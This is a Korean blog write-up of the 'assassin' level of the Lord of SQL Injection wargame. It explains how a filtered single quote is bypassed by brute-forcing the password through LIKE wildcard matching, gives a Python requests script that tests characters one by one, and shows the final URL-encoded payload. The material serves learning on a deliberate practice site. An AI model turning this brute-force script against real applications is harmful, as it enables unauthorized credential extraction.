본문 바로가기

Hacking/LOS

[LOS] 15. assassin

728x90
반응형

 

  • 싱글쿼터가 필터링 되어 있다. 처음엔 이를 우회하는 방법은 중점으로 풀어보려했는데 도저히 방법이 안나와서 포기했고
  • 굳이 '='을 사용하지 않고 like를 사용한데에 집중했다.
  • 그래서 찾은 게 brute forcing으로 guest의 비밀번호를 찾았고 이를 이용해 admin 비밀번호를 찾았다.

 

import requests

url ='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=' #url 주소 입력

def find_pw():
    pw_len=10
    string=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122):
            value ="90{}%".format(string+chr(ascii))
            cookies={'PHPSESSID' : '내 세션'}
            response = requests.get(url+value, cookies=cookies)
            # print(response.url)
            if("Hello admin" in response.text):
                string = string + chr(ascii)
                print("{}번 째의 pw의 값은!".format(pw_value),string)
                break
            print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
    print(string)
find_pw()

 

 

  • '90'까지는 guest와 admin의 비밀번호가 겹쳐서 참일 때 항상 먼저 기입된 데이터인 guest가 나오지만 3번째 문자부터는 guest와 admin의 비밀번호가 다른지 2라는 값이 나왔고 이를 대입해 보니 clear
  • 주의해야할 점은 %902%를 url에 그대로 대입하면 url encoding 때문에 %90이 �로 인코딩되어 풀리지 않는다 그래서 앞에 %의 url encode 번호인 %25를 먼저 기입하여 우회해야한다.

 

정답: https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=%25902% 

 

https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php

 

los.rubiya.kr

 

 

728x90
반응형

'Hacking > LOS' 카테고리의 다른 글

[LOS] 17. zombie_assassin  (0) 2023.07.12
[LOS] 16. succubus  (0) 2023.07.08
[LOS] 14. giant  (4) 2023.07.07
[LOS] 13. bugbear  (0) 2023.07.06
[LOS] 12. darkknight  (0) 2023.07.06